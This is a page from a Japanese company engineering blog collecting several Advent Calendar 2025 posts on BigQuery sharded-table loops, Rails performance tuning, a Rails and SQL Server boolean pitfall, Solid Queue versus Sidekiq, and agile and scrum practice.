TECH PLAY

株式会社エニグモ

株式会社エニグモ の技術ブログ

240

こんにちは、 エニグモ の嘉松です。普段はデータ活用推進室にて、データ分析・データ活用の推進やMAツールを用いた CRM 施策などを担当しています。 本記事は Enigmo Advent Calendar 2025 の最終日(25日目)の記事です。1ヶ月間にわたり様々なテーマで繋いできたバトンも、いよいよ今回が最終回となります! 最終回は、データ分析・データ活用の裏側を支える技術にフォーカスし、BigQueryに関する(少しディープな)知見を共有します。 時点データとは? データ分析において、現時点のデータだけでなく「過去のある時点」のデータを保持しておくことは極めて重要です。例えば、ユーザーの注文回数、会員ランク、 保有 ポイント数、メール購読の有無などが挙げられます。 これらの 時点データ を毎月1日などのタイミングでスナップショットとして蓄積しておくことで、「過去と現在の比較」や「特定の期間における推移」といった分析が容易になり、分析の幅は劇的に広がります。 しかし、過去に遡ってこれらのデータを作成しようとすると、なかなかの手間が発生します。例えば月次データを5年分作成する場合では60回のクエリ実行が必要となります。 そこで今回は、BigQueryの 手続き型言語 (Procedural language) を使い、ループ処理で過去分のシャーディングテーブルを一気に作成する方法をご紹介します。 BigQueryのシャーディングテーブルとは? table_YYYYMMDD という 命名規則 に基づき、物理的にテーブルを分割して管理する手法です。 例えば、 user_summary_20251201 のようにテーブル名の末尾に日付を付与します。 シャーディングを行うことで、必要な期間のデータだけをスキャン対象にできるため、処理に必要なデータ量およびクエリ費用を大幅に抑えることが可能です。 シャーディングテーブル作成の処理フロー 今回の処理の流れは以下の通りです。 指定した「開始年月」から「現在」まで、1ヶ月ごとにループさせる。 各月ごとに集計クエリを実行し、 table_YYYYMMDD 形式のテーブルを作成(または置換)する。 処理対象が現在を超えたらループを終了する。 START_MONTH (2022-01-01) ↓ [ LOOP開始 ] ↓ 1回目: 対象 2022-01-01 → CREATE TABLE dataset.table_20220101 2回目: 対象 2022-02-01 → CREATE TABLE dataset.table_20220201 ... 終了: 対象が「今月」を超えたら LEAVE サンプルコード 以下は、ループ処理を用いて過去テーブルを作成する スクリプト です。 -- 1. 変数の宣言と初期化 DECLARE START_MONTH DATE DEFAULT DATE ' 2022-01-01 ' ; -- 開始日を指定 DECLARE CURRENT_MONTH DATE ; DECLARE yyyymmdd STRING; DECLARE LOOP_CNT INT64 DEFAULT 0 ; -- 2. ループ処理の開始 LOOP -- 処理対象年月をセット(開始月からLOOP_CNT分だけ月を加算) SET CURRENT_MONTH = DATE_ADD(START_MONTH, INTERVAL LOOP_CNT MONTH); -- 3. 終了判定:処理対象年月が「今月」を超えたらループを抜ける IF CURRENT_MONTH > DATE_TRUNC( CURRENT_DATE ( ' Asia/Tokyo ' ), MONTH) THEN LEAVE; END IF ; -- テーブル接尾辞用にYYYYMMDD形式の文字列を作成 SET yyyymmdd = FORMAT_DATE( " %Y%m%d " , CURRENT_MONTH); -- 4. 動的SQLの生成と実行 -- EXECUTE IMMEDIATE FORMAT() でSQLを動的に組み立てて実行します EXECUTE IMMEDIATE FORMAT( """ -- ここに実行したいDDL(テーブル作成)を記述 CREATE OR REPLACE TABLE `your-project.your_dataset.user_summary_%s` AS SELECT user_id, -- 注文回数 count(*) as purchase_count FROM `your-project.source_dataset.transactions` WHERE -- 基準日(CURRENT_MONTH)以前の注文データに絞り込み DATE(created_at, 'Asia/Tokyo') < '%s' GROUP BY 1 """ , yyyymmdd, CAST (CURRENT_MONTH AS STRING)); -- 5. カウンタを進める SET LOOP_CNT = LOOP_CNT + 1 ; END LOOP ; サンプルコードの解説 実装のポイントは以下の3点です。 1. LOOP と LEAVE による制御 BigQueryの 手続き型言語 には FOR 文もありますが、日付を柔軟に加算しながら処理したい場合は LOOP が適しています。無限ループを防ぐため、必ず IF ... THEN LEAVE; END IF; による脱出条件を記述しましょう。今回は DATE_TRUNC を使い、実行時の年月を超えた時点で停止するように設定しています。 2. EXECUTE IMMEDIATE による動的 SQL の実行 通常の SQL 文には変数を直接埋め込むことができない箇所(テーブル名など)があります。そのため、クエリ全体を文字列として組み立てて実行する EXECUTE IMMEDIATE を使用します。 FORMAT() 関数を用いると、 %s を使って変数値を流し込めるため、文字列結合( || )を繰り返すよりも可読性が高く、メンテナンスもしやすくなります。 3. 文字列のクォート扱いに注意 ここが最も重要なポイントです。動的 SQL の中で日付を リテラル として扱いたい場合、 %s の周りを シングルクォートで囲む 必要があります。 NG: DATE(created_at, 'Asia/Tokyo') < %s 展開後: ... < 2022-01-01 (数値の引き算として処理されてしまう) OK: DATE(created_at, 'Asia/Tokyo') < '%s' 展開後: ... < '2022-01-01' (正しい日付文字列として認識される) ループ処理活用のススメ 今回はシャーディングテーブルの作成を例に挙げましたが、このループ処理のテクニックは「 API 制限を回避するために1日ずつ処理する」「リソース枯渇を避けるために重たいクエリを分割実行する」といったシーンでも非常に有効です。 手作業による「温かみのある運用」から卒業し、スマートで快適なデータ基盤ライフを送りましょう! 25日間の感謝を込めて これにて Enigmo Advent Calendar 2025 は全25記事のバトンが繋がり、無事完走となります! 今年は様々な職域のメンバーが、それぞれの視点から技術や知見を共有してくれました。これらの記事が、皆様の日々の業務や課題解決のヒントとなれば望外の喜びです。 来たる2026年も、 エニグモ は BUYMA をはじめとするサービスを通じて新しい価値を創造してまいります。どうぞよろしくお願いいたします。 株式会社 エニグモ すべての求人一覧 hrmos.co
アバター
こんにちは!Webアプリケーションエンジニアの レミー です! この記事は Enigmo Advent Calendar 2025 の24日目の記事です。 Ruby on Rails アプリが遅いと感じるのは、ほぼ次の3の原因になります。 DBクエリが多すぎる (特に N+1、COUNT/EXISTS の使い分けミス、インデックス不足) 不要なデータを読み込みすぎる (テーブル全て/重いカラム全て取得、あるいは全部を RAM に書き込む) ビューの レンダリング /コールバックが働きすぎる (partial の多用、重いフォーマット処理、不要なコールバック/バリデーションの実行) この記事では、効果が見えやすいものに絞って、自分が特によく使う最適化10個をまとめます。 1. includes で N+1 クエリを防ぐ 問題: posts の一覧を取得して、view 側で post.user.name や post.comments.size のように関連を参照すると、20件なら20回(あるいはそれ以上)追加クエリが飛ぶ可能性があります。 解決: includes で関連を事前ロードします。 改善前: N+1 が発生 @posts = Post .order( created_at : :desc ).limit( 20 ) @posts .each do |post| post.user.name # 毎回 SELECT users... WHERE id = ? が走る可能性 end 改善後: includes を使用 @posts = Post .includes( :user ).order( created_at : :desc ).limit( 20 ) Rails は posts に紐づく users を1回のクエリでまとめてロードし、ループ内での追加クエリを防ぎます。 一覧を レンダリング して、ループ内で association を参照する( post.comments 、 post.user 、 order.items など)場合ではよく使われます。 重要ポイント: includes には 3 パターンがあり、 Rails が状況に応じて選びます。 preload : 常に 2 クエリ (postsとusers) eager_load : 常に LEFT OUTER JOIN (大きい 1 クエリ) includes : Rails が自動判断(preload になる場合も join になる場合もある) 2. 必要なカラムだけ取る: select / pluck 問題: User.all や User.where(...).to_a は 全カラム を引いてきます。 bio (text) 、 settings (jsonb) 、 avatar_data のよ うな重 いカラムも含まれがちです。実際には id と name だけで十分なケースも多いはずです。 解決: ActiveRecord オブジェクトは欲しい(でも最小限にしたい) select を使います。 users = User .where( active : true ).select( :id , :name ) users.first.name # OK 値の配列だけで十分(高速 + allocations 少なめ) pluck を使います。 ids = User .where( active : true ).pluck( :id ) pairs = User .where( active : true ).pluck( :id , :name ) # [[1, "A"], [2, "B"]] DB処理時間の短縮、返ってくるデータ量の削減、 Ruby 側の allocations 削減。 dropdown/select box で id と name だけが必要な時とか、バックグラウンドジョブで処理対象 id だけが必要な時などが使われます。 3. 存在するかどうかの確認なら exists? を使う 問題: relation に対して any? / present? で存在チェックをすると、不要にレコードを読み込んだり、最適でないクエリになったりすることがあります。 解決: exists? は EXISTS を使うため、目的に対して効率的になりやすいです。 改善前: 不要なロードが起こり得る User .where( email : email).any? 改善後: EXISTS を使う User .exists?( email : email) メール 重複チェック 、ユーザーが注文を持っているか、対象レコードが既にあるか、などの場合に使われます。 4. count / size / length を正しく使い分ける メソッド DB クエリは走る? どんなクエリ レコードをロードする? 使いどころ count あり(常に) SELECT COUNT(*) なし DB から正確な件数が必要なとき length 未ロードなら走る SELECT * あり(全件ロード) すでに records がロード済みだと確実できる時だけ size 状況による COUNT(*) または なし 自動 ActiveRecord / association では基本これが安全 association がロード済みか不明なときは、次のように size が安全です。 comments_count = post.comments.size view で association の件数を表示するなら、まずは size (または counter cache)を優先。 5. よく絞り込み/ソートするカラムに Index を貼る 問題: WHERE user_id = ... などがインデックスがないと、DB がテーブル全体をスキャンして重くなりがちです。 解決: WHERE / JOIN / ORDER BY によく出てくるカラムに index を追加します。 例: add_index :orders , :user_id add_index :users , :email , unique : true add_index :orders , [ :user_id , :created_at ] インデックス選びの目安: WHERE / JOIN によく出るカラム: index を追加 ORDER BY と filter がセットでよく出る: 複合インデックス (例 [:user_id, :created_at] )を追加 email/username のようなユニーク値: unique: true 確認方法: ログで遅いクエリを見つける、DB で EXPLAIN を実行して index が使われているか確認。 注意: index は読み込みを速くしますが、書き込みは少し遅くなる傾向があります。 6. 大量データは batch で処理する: find_each / in_batches 問題: User.where(...).each は全件を RAM に書き込む可能性があります。件数が多い(数万〜数百万)と、メモリが不足になって、worker/job が落ちる原因になります。 解決: find_each で バッチ処理 します。 find_each は 主キーによるページングで、メモリには 1 バッチ分だけ保持します。 User .where( active : true ).find_each( batch_size : 1000 ) do |user| # user を1件ずつ処理 end バッチ単位で処理したい(特に一括更新)なら in_batches が便利です。 User .where( active : true ).in_batches( of : 1000 ) do |relation| relation.update_all( flag : true ) end rake タスク、データの移行作業、数万件以上のレコードを扱うジョブなどに使われます。 7. コールバックが不要なら bulk update/delete: update_all / delete_all 問題: 1万件を each { update } すると、1万回のクエリに加えて validations/callbacks が走ります。場合によってはメール送信なども巻き込まれて重くなります。 解決: 1クエリでまとめて処理します。 # 一括更新 User .where( id : ids).update_all( active : false ) # 一括削除 Log .where( " created_at < ? " , 30 .days.ago).delete_all 重要: update_all / delete_all は バリデーションとコールバックを完全にスキップします。 フラグを一括変更、単純なデータ修正、ログの削除などに使われます。 8. association の件数表示には counter cache を使う 問題: 一覧で「コメント数」を表示するために post.comments.count を多用すると重くなります。 includes(:comments) にしても comments が多いとそれ自体が重くなることがあります。 解決: comments_count のようなカラムに件数を保持します(counter cache)。 # posts に comments_count を追加 add_column :posts , :comments_count , :integer , default : 0 , null : false # counter cache を有効化 class Comment < ApplicationRecord belongs_to :post , counter_cache : true end 以降は post.comments_count を使えます。 これは、一覧ページや管理画面など「件数表示」があちこちに出てくる画面で特に効きます。 注意: 読み込みは非常に速くなりますが、コメント作成/削除時に post 側のカラム更新が 1 回増えます。 9. 高コストな処理は Rails .cache.fetch でキャッシュする 問題: 重いクエリや計算(トップの記事、統計、設定値など)を毎リクエスト再計算してしまう。 解決: TTL と分かりやすい key を持ったキャッシュを使います。 top_posts = Rails .cache.fetch([ " top_posts " , Date .current], expires_in : 10 .minutes) do Post .published.order( score : :desc ).limit( 20 ).pluck( :id , :title ) end キー設計は ["feature_name", version, params...] の配列にすると、管理しやすいです。 expires_in も付けて意図せず永続化する事故を避けましょう。 10. view をキャッシュする(fragment / collection caching) 問題: DB はそこまで遅くないのに、partial が多い、フォーマット処理が重いなどで view の レンダリング が遅くなる。 解決1: record 単位の fragment cache <% @posts .each do |post| %> <% cache(post) do %> < %= render "posts/post", post: post %> <% end %> <% end %> Rails はレコードのcache key(バージョン付き)を使うので、post が更新されるとキーも変わり、自然に無効化されます。 解決2: collection caching(短くて速い) < %= render partial: "posts/post", collection: @posts, cached: true %> レンダリング 時間とCPU使用量が大きく減ります。 Rails が遅い原因は、framework そのものというより、余計なことをしてしまっているコードにあることがほとんどです。まずは上の基本最適化から入れるだけで、複雑なキャッシュ設計やサーバー増強をしなくても、速くなるケースが珍しくありません。 明日の記事の担当はエンジニアの嘉松さんです。お楽しみに。
アバター
こんにちは、WEBエンジニアのChoi(チェ)です。 BUYMA の購入者向け機能を開発するチームで、主に SEO 改善の業務を担当しています。 この記事は Enigmo Advent Calendar 2025 の23日目の記事です。 Rails を使用する際は一般的に MySQL や PostgreSQL が使われますが、 BUYMA では用途に応じて SQL Server も使用しています。 最初は「どの SQL も大差ないだろう」と思っていましたが、運用を開始すると Rails + SQL Server 特有のトラブルに遭遇しました。 今回はその中でも、 エラーは一切出ないのに、結果だけが返ってこない という、かなり気づきにくかったケースをご紹介します。 boolean処理をめぐる誤解 RubyとSQLの違い テーブル定義を見て、ようやく原因に気づく MySQLやPostgreSQLであれば、どうなっていたか PostgreSQLの場合 MySQLの場合 なぜ SQL Server環境で表面化されたのか この経験から学んだこと boolean処理をめぐる誤解 ある API で、次のようにリクエストパラメータを条件に使っていました。 User.where(active: params[:active]) エラーは発生せず、一見すると問題なさそうに見えました。 しかし実際には、エラーは発生しないものの、条件に一致するデータがまったく返ってこないという現象が起きていました。 SQL ログを確認すると、発行されていたのは次のような SQL です。 WHERE active = 'true' この時点ではまだ、 「文字列になっているのが問題なんだ」 という程度の認識でした。 しかし「文字列になっていたら、trueに暗黙的に変換されるのではないのか?」という疑問も浮かびました。 Ruby と SQL の違い Ruby では、次のようなコードが成立します。 if 'false' # 実行される end Ruby の条件分岐では、 false と nil 以外はすべて truthy として扱われるため、 'false' という文字列も「真」として評価されます。 しかしこれは Ruby レベルでの話です。 ActiveRecord が生成する SQL では、値は型変換されることなく、そのままバインドされます。 テーブル定義を見て、ようやく原因に気づく 改めてテーブル定義を確認してみると、 active カラムは boolean ではありませんでした。 カラム型:CHAR(1) 想定値:'1'(有効) / '0'(無効) つまりこのコードは、 HTTP パラメータとして受け取った 文字列をそのまま SQL の条件に渡していた という状態だったのです。 SQL Server 側では、 'true' は boolean として解釈されません。 あくまで 文字列同士の比較として評価されます。 その結果、 エラーは出ない 条件にも一致しない 常に0件が返る という、分かりづらい不具合になっていました。 MySQL や PostgreSQL であれば、どうなっていたか ここで気になったのが、 「もし MySQL や PostgreSQL だったら、同じ問題は起きていたのか?」 という点でした。 PostgreSQL の場合 PostgreSQL には明確な boolean 型があります。 WHERE active = 'true' のような条件でも、 'true' を boolean の true として解釈します。 そのため、今回のケースでは 意図した通りにデータが返ってきていた可能性が高いです。 結果として、問題に気づかないまま運用が続いていたかもしれません。 MySQL の場合 MySQL では、 boolean は実体としては TINYINT(1) です。 'true' や 'false' といった文字列は、暗黙的に数値へ変換され、結果が返ることもあります。 ただしこの挙動は、明確な仕様というより暗黙の型変換に依存したものです。 なぜ SQL Server 環境で表面化されたのか この問題自体は、 SQL Server 固有の文法エラーではありません。 しかし、 SQL Server を採用しているサービスでは レガシーなテーブルでは、有効/無効フラグを CHAR 型で管理しているケースが今も存在する という背景から、 Rails + SQL Server の組み合わせで特に踏みやすい落とし穴だと感じました。 この経験から学んだこと このトラブルをきっかけに、次の点を強く意識するようになりました。 DBのカラム型は「現在の Rails の常識」と一致するとは限らない パラメータをそのまま条件に渡さず、 ドメイン 上の値('1' / '0' など)に変換してから使う 結果が返らない場合は、生成された SQL を必ず確認する Rails 側で正しく書けていても、DB側の前提が異なるだけで、意図しない挙動にハマることがあると学びました。 明日の記事の担当はWebエンジニアの レミー さんです。お楽しみに。
アバター
こんにちは!Webアプリケーションエンジニアの レミー です! この記事は Enigmo Advent Calendar 2025 の21日目の記事です。 Rails 8がリリースされてから、バックグラウンドジョブシステムである Solid Queue に興味を持ち、調べてみました。 バックグラウンドジョブは、 Ruby on Rails アプリケーションに重要な部分です。メール送信、画像処理、データ同期、キャッシュ更新、 CSV ファイルのエクスポートなど、これらはすべてアプリケーションの高速化とスムーズな動作を維持するために非同期で実行すべきタスクです。 長年、 Rails のバックグラウンドジョブにおいて「Sidekiq + Redis」はほぼ基準とされてきました。しかし、 Rails 8からは、 Rails は公式に Solid Queue を導入しました。これはRedisを必要とせず、補助的なサーバーも不要な、ネイティブなキューシステムです。 この記事では、Solid Queueとは何か、その仕組み、どうして Rails 8以上のプロジェクトでSolid Queueを使用すべきかについて解説します。また、Sidekiqとの比較も行います。 Solid Queueとは? Solid Queueは、データベースをジョブキューとして使用するバックグラウンドジョブシステムであり、 Rails Solid Suite(Solid Cache, Solid Queue, Solid Cableを含む)の一部として開発されました。 Redisを使用するSidekiqとは異なり、Solid Queueはジョブをデータベースのテーブルに保存し、ワー カープ ロセスがそのジョブを読み取って実行します。 つまり: Redisが不要 Sidekiqのインストールが不要 補助サーバーのコストがかからない ActiveJobと深く統合されている インストールが非常に簡単 これは、 Rails をシンプルにするために生まれました。特にスタートアップ、小規模〜中規模のプロジェクト、またはコストを抑える必要がある環境に最適です。 仕組みとデータベース構造 Solid Queueは単一のシンプルなテーブルだけではなく、ジョブのライフサイクルを管理し、安全性とパフォーマンスを確保するために複数のテーブルを使用します。 重要なテーブルは以下の通りです: solid_queue_jobs : ジョブの メタデータ (クラス名、引数、キュー名、優先度、遅延ジョブの場合は scheduled_at 、ジョブIDなど)を保存します。 solid_queue_ready_executions : 「実行準備完了」となったジョブを含みます。つまり、エンキューされたジョブで、ワーカーが拾える状態のものです。 solid_queue_scheduled_executions : スケジュールされたジョブを含みます。まだ実行タイミングには達していません。 solid_queue_claimed_executions : ワーカーが実行のために確保)したジョブ情報を保存し、複数のワーカーが同じジョブを実行しないためです。 solid_queue_blocked_executions : ブロックされており、すぐに実行できないジョブを含みます。 solid_queue_failed_executions : 実行後にエラーになったジョブを保存し、監視や デバッグ に役立ちます。 このように明確に複数のテーブルに設計されているため、Solid Queueは役割を明確に分離でき、ロジックがクリアになり、管理しやすくなります。 Solid Queueにおけるジョブのライフサイクル Solid Queueの仕組みと、なぜ複数の異なるテーブルが必要なのかを理解するために、ジョブがエンキューされ、ワーカーに拾われ、実行され、削除されるまでの完全なライフサイクルを説明します。 1. ジョブが呼び出される時(エンキュー) MyJob.perform_later(args) を呼び出すと、Solid Queueはデータベースに対して2つの書き込み操作を行います: solid_queue_jobs テーブルへの書き込み:ジョブの メタデータ ("queue_name", "class_name", "arguments", "priority", "active_job_id", "scheduled_at", "finished_at", "concurrency_key" など)を保存します。 すぐに実行するジョブの場合: solid_queue_ready_executions にデータを追加します。このテーブルには、ワーカーが処理可能な準備完了ジョブが含まれます。 2. ワーカーが実行するジョブを探す(ポーリング) ワーカーは solid_queue_ready_executions テーブルを継続的に「ポーリング」して、新しいジョブを取得します。ワーカーは以下の2つの作業を行います: 確保 : ワーカーが solid_queue_ready_executions からジョブを選択すると、 solid_queue_claimed_executions テーブルにレコードを書き込みます。このレコードにより、2つのワーカーが同じジョブを実行することができません。 実行 : クレームした後、ワーカーはジョブクラスの perform メソッドを呼び出して実行します。 3. ジョブ完了時、レコードの削除 ジョブが正常に実行されると、ワーカーは関連するすべてのテーブル( solid_queue_jobs , solid_queue_ready_executions , solid_queue_claimed_executions )からジョブを削除します。 ジョブのライフサイクルの簡単なまとめ 段階 関連テーブル 目的 ジョブのエンキュー solid_queue_jobs ジョブの メタデータ を保存 ジョブ準備完了 solid_queue_ready_executions ワーカーが拾える状態 ワーカーによる確保 solid_queue_claimed_executions 1つのジョブを1つのワーカーが実行することを保証 実行 なし ワーカーが perform 関数を呼び出す 完了 複数のテーブルから削除 レコードのクリーンアップ 安全性、ジョブの「失う」を防ぐ仕組み 重要な要件の一つは、エンキューされたジョブが少なくとも1回は実行され、失われないことです。Solid Queueは、ワーカーのクラッシュ、強制終了、プロセスの不具合などのケースを以下の形式で処理します: 各ワーカーは起動時に solid_queue_processes にレコードを作成し、定期的に last_heartbeat_at を更新します。 ワーカーがジョブをクレームする際、 solid_queue_claimed_executions にプロセスIDと共にレコードを書き込みます。 デフォルトはスーパーバイザープロセスがバックグラウンドで実行され、 processes テーブルをチェックします。許容時間を超えて heartbeat がないプロセス(例:5分以上)が見つかった場合、それを「失敗したワーカー」と見なします。 スーパーバイザーはそのプロセスを削除し、そのワーカーが保持していたジョブを ready キューに再エンキューして、他のワーカーが拾えるようにします。 これにより、ワーカーがクラッシュしてもジョブは失われず、データの整合性が保証されます。 Solid Queue と Sidekiq の比較 Solid QueueとSidekiqはどちらも Rails で人気のある非同期処理のシステムですが、以下の表で違いを明確にします。 基準 Solid Queue ( Rails 8) Sidekiq ストレージバックエンド データベース ( PostgreSQL / MySQL / SQLite ) Redis (インメモリ、非常に高速) Rails との統合 ネイティブ、 Rails 8からの公式組み込み コアじゃない、gem経由で使用 パフォーマンス 小〜中規模のワークロードに良好 非常に高い、大規模ワークロードに最適 遅延 DB使用のため比較的高い 低い (Redis インメモリ) インストール 簡単、補助サービス不要 複雑、RedisとSidekiqの設定が必要 運用コスト ほぼゼロ (既存DBを使用) Redisのコストがかかる (特に本番環境) 信頼性 高い ( SQL トランザクション + ジョブクレーム) 非常に高いがRedisに依存 リトライのロジック あり、DBに保存 あり、強力かつ柔軟 ダッシュボード 強力なUIはまだない Web UIが充実、リアルタイム監視が可能 いつ Solid Queue を選ぶべきか? シンプル、軽量、ネイティブ、コスト節約を望むならSolid Queueを選びましょう。 いつ Sidekiq を選ぶべきか? 高速、強力、大規模システムに適したものを望むならSidekiqを選びましょう。 結論 Solid Queueは、インフラを簡素化し、 Rails 8の大きな進歩を示しています。バックグラウンドジョブをコア フレームワーク に直接統合することで、中小規模のプロジェクトはRedisやSidekiqに依存する必要がなくなり、安定性、信頼性の高いジョブ処理能力を確保しながら、運用コストを大幅に削減できます。 明日の記事の担当はエンジニアの宮川さんです。お楽しみに。
アバター
こんにちは、 BUYMA TRAVEL Webエンジニア の 赤間 です。  この記事は Enigmo Advent Calendar 2025 の 20日 目の記事です。 この記事では、転職をきっかけに感じたことを基に、 アジャイル / スクラム の基本と、現場で起きがちな"あるある"とその対策について紹介します。 軽く自己紹介になりますが、私は2025年8月に転職してきたエンジニアです。前職でもエンジニアとして開発を行なっており、時期によっては スクラム マスターの役割も担当していました。 その経験から、転職後に「これって アジャイル か?」と戸惑ったことがあり、同じように悩む人のヒントになればと思いこの記事を書いています。 1. はじめに: 同じ「 アジャイル 」なのに、転職したら別物だった 前職では「 スクラム 」を実践していました。1週間という短いスプリントで開発・スプリントレビュー・ふりかえりを繰り返し、要件定義も(プロジェクト毎に)持ち回りで実施していました。 ところが転職後、同じく「 アジャイル 」を実践する現場に入ったものの、運用はスプリントよりも「この機能をいつ出すか」というリリース単位が中心です。参加した当初、実装やリリーススピードは前より速いはずなのに、私自身はどこか噛み合わず、「これって アジャイル なのかな?」と戸惑いました。いま考えると、 アジャイル の形が違うというより、最適化している対象が違ったのだと思います。 この記事では、まず アジャイル / スクラム の基本をできるだけわかりやすく整理します。そのうえで、転職前後の現場を例に「同じ アジャイル でも会社 (チーム) でこう違う」を簡単に比較し、それぞれの特徴や転職を通して見つけたよくある課題(あるある)と解決策を、 アジャイル のことを知らない人にも伝わる形でまとめていきます。 2. そもそも アジャイル とは アジャイル は一言でいうと、変化を前提に「小さく作って試し、フィードバックを受け軌道修正する」開発の考え方です。 最初に要件を固めて、計画通りに作り切る (いわゆる ウォーターフォール ) と対比するとイメージしやすいと思います。   ここで大事なのは、朝会・夕会・カンバンのような手段そのものではなく、 フィードバックを得て、次に反映するサイクルが回っているか です。 たとえば「作ったものを早めに見せる → 反応をもらう → 次の方針を変える」というループが速ければ速いほど、価値や計画のズレが小さいまま進行できます。 3. スクラム とは スクラム は、 アジャイル の考え方を現場でうまく回すための 代表的な フレームワーク です。 「 アジャイル =考え方」だとすると、 スクラム はそれを実践するために、役割・イベント (会議) ・成果物をセットで定義し、チームが迷いにくい形にしたもの、と考えるとわかりやすいです。   スクラム の用語 スプリント: 固定期間 (一般に1〜4週間) で区切られた開発サイクル スプリントゴール: そのスプリントで達成したい目的 (「何のためにやるか」の軸) プランニング: 次のスプリントで「何をどれだけやるか」をチームで決める デイリー スクラム : スプリントゴールに向けて、進捗確認と調整を行う毎日の短い打ち合わせ スプリントレビュー: 出来上がった成果物を共有し、フィードバックをもらう場 レトロスペクティブ (ふりかえり) : やり方の カイゼン を話し合う場   重要: スクラム は 儀式 ではなく、 検証と カイゼン を回す仕組み   スクラム は「イベントをこなすこと」が目的ではありません。 短い周期で 検査 (Inspect) = いま正しい方向に進んでいるかを確かめ、 適応 (Adapt) = 必要ならやり方・優先順位・計画を変える、という検証と改善を回すための仕組みです。   つまり、 スクラム の各イベントは全て「Inspect / Adapt」のためにあります。 スプリントで区切ることも、スプリントレビューで見せることも、ふりかえりをすることも、全て価値や計画の ズレを小さくするため です。 4. 前職 スクラム の特徴 (メリット・デメリット) 6人チーム/分業なし + 依存が減って、詰まっても助け合いやすい (柔軟に回る) - 何でも屋になりやすく、社内での育成コストと属人化リスクが上がる 要件定義・見積もりが持ち回り プロダクト理解が深まり、当事者意識が育つ 得意不得意の差が出やすく、ブレや認識差が起きることも スプリント1週間/ふりかえり重視 カイゼン の回転が速く、失敗が小さく済む 追われやすく、レビュー品質が落ちると「忙しいだけ」になりがち 朝会夕会で進捗確認 見える化 が効き、抱え込みや遅延を早く発見できる 運用次第で報告会・監視っぽくなり、 心理的 安全性を下げる可能性あり 5. 現職 アジャイル の特徴 (メリット・デメリット) エンジニア4人+周辺職種は別チームで参加 必要な専門性が適切なタイミングで入り、品質が上がりやすい 意思決定や仕様の往復が増えると、スピードが落ちることがある 半分業 (フロント/サーバ/インフラ)  専門性が積み上がり、品質とスピードを出しやすい ボトルネック が固定化すると、待ちが増えてリードタイムが伸びやすい 要件定義はCSが主導、デザイナーやエンジニアがブラッシュアップ 顧客の声が仕様の入口にあり、「作ったけど使われない」を減らしやすい 技術制約・実現方法の検討が遅れると、手戻りが増えることがある スプリントが長期間 機能にフォーカスしやすく、リリース目的がブレにくい フィードバックが遅れると、気づいた時にはズレが大きくなっている 毎日夕会/週1でふりかえり (乖離確認)  見える化 が効き、抱え込みや遅延を早く発見できる 運用次第で報告会・監視っぽくなり、 心理的 安全性を下げる可能性あり 6. スクラム の「ズレやすいポイント」あるある ここまで アジャイル / スクラム の概要と、前職・現職それぞれの特徴を書きました。 面白いのは、運用の形は違っていても、実際に現場でつまずきやすい「ズレやすいポイント」には共通点があったことです。 ここからは、 スクラム を回すときに起きがちな"あるある"を整理していきます。 1)  スプリントが長くなる/ズレ続ける 本来スプリントは固定期間で区切りますが、実際には意外とズレがちです。 祝日やメンバーの休み、突発対応、大きなリリースが重なると、 「期間は決めているのに、結局終わらない」 という問題が発生します。 この状態が続くと、スプリントレビューやふりかえりのタイミングが曖昧になってしまいます。 2) どうしても納期が先に確定してしまう 色々な要因で、納期が先に決まること自体は珍しくないと思います。問題は、納期が固定なのにスコープも固定になっていることです。この場合、現場が デスマーチ になりやすいです。 3) 会議 (夕会) はあるが、スプリントレビューで顧客フィードバックが薄い 夕会などで進捗は把握できていても、スプリントレビューで"価値"を確かめられないと、やっていることはただの「 進捗管理 」になってしまいます。 その結果、予定通り作ったのに、想定していた価値が出ないというズレが発生しやすくなります。 4) ふりかえりはするが、 カイゼン が実験になっていない ふりかえり自体はやっていても、内容が「反省会」になってしまう。 ふりかえりの狙いは、誰かを責めることではなく、仕組みを少しずつ カイゼン することです。 5) 分業で詰まりが固定化する 分業は専門性を伸ばしやすい一方で、特定領域にタスクが集中すると、そこが ボトルネック になってしまいます。 スクラム では、個人の 稼働率 よりも、チームとしてのリードタイムが重要になるため、ここがズレの原因になりがちです。 7. 「じゃあどうすれば?」具体的な カイゼン 案 では、こうした"あるある"はどう解消すればいいでしょうか。 ここからは、私なりに考えた カイゼン 案を紹介します。前職、現職で実際にチームで議論して試した工夫も、一部取り入れています。 スクラム の型に無理やり戻すことが目的ではありません。 Inspect / Adapt (検査と適応) がきちんと回る状態に近づけることが目的です。 1)  スプリントが長くなる/ズレ続ける スプリントの価値は"期限内に全部終える"ではなく、"短い周期での検証と カイゼン "にある 祝日が多い週は最初からタスク数を減らす (期間は固定)  どうしても溢れるなら、「終わらせる」ではなくスプリントを中止する 2) どうしても納期が先に確定してしまう 納期固定を成立させる条件は「変更できる何か (スコープ/品質/順序) 」があること Must/Should/Could で削れる部分を先に決めておく 「この日までにここまで」ではなく「この日までに価値が出る最小形」を合意する 3) 会議 (夕会) はあるが、スプリントレビューで顧客フィードバックが薄い フィードバックが薄いと、"作ったものが刺さらない"がよく起きる スプリントレビューは「説明」より「動くもの」を中心にする 参加者が広げづらいなら、CSや営業から顧客の反応を持ち込むだけでもOK 4) ふりかえりはするが、 カイゼン が実験になっていない ふりかえりは反省会ではなく、 カイゼン のA/Bテストに近い 毎回、 カイゼン アクションは1つ程度に絞る 次回のふりかえりで「やったかどうか、効いたかどうか」を確認し、効かなければその カイゼン はやめる 見積もりが外れた原因は「前提が変わった」「分割が大きい」など仕組み側として考える 5) 分業で詰まりが固定化する 個人最適より、チームのリードタイム最適を狙う 着手しすぎをやめる 詰まりやすい領域は、スプリントレビュー待ちを減らすためにペア/モブを試す 8. 今後の展望 転職直後に「同じ アジャイル なのに、なんだか噛み合わない」と感じたのは、今思えば当然でした。 前職で体験していたのは、短いスプリントでレビューとふりかえりを回し続ける" スクラム 寄りの アジャイル "。一方で現職は、機能リリースを軸に、CSや周辺職種の知見も取り込みながら進める"プロダクト寄りの アジャイル "です。言葉は同じでも、狙っている最適解が少し違っていたんだと思います。   アジャイル や スクラム に"唯一の正解"はありません。会社のフェーズ、プロダクトの性質、チームの人数やスキルで、うまく回る形は変わります。大事なのは「どの型が正しいか」を決めることではなく、いまの自分たちにとって必要な カイゼン を見つけて、小さく試して、調整し続けること。そのプロセス自体が、 アジャイル の面白さだと感じています。   今後も現職の強み (専門性・顧客起点・リリース志向) を活かしながら、ズレが大きくなるポイントを修正していきます。   明日の記事担当は BUYMA のWebエンジニア レミー さんです。お楽しみに。
アバター
